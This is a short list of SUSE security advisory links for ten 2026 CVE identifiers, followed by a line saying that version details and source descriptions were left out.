suse.com/security/cve/CVE-2026-48756
suse.com/security/cve/CVE-2026-48769
suse.com/security/cve/CVE-2026-62313
suse.com/security/cve/CVE-2026-62867
suse.com/security/cve/CVE-2026-62940
suse.com/security/cve/CVE-2026-62941
suse.com/security/cve/CVE-2026-63125
suse.com/security/cve/CVE-2026-63343
suse.com/security/cve/CVE-2026-81500
suse.com/security/cve/CVE-2026-81501
Left out here: 26 versions and the rest of 2 source descriptions. The JSON record has them.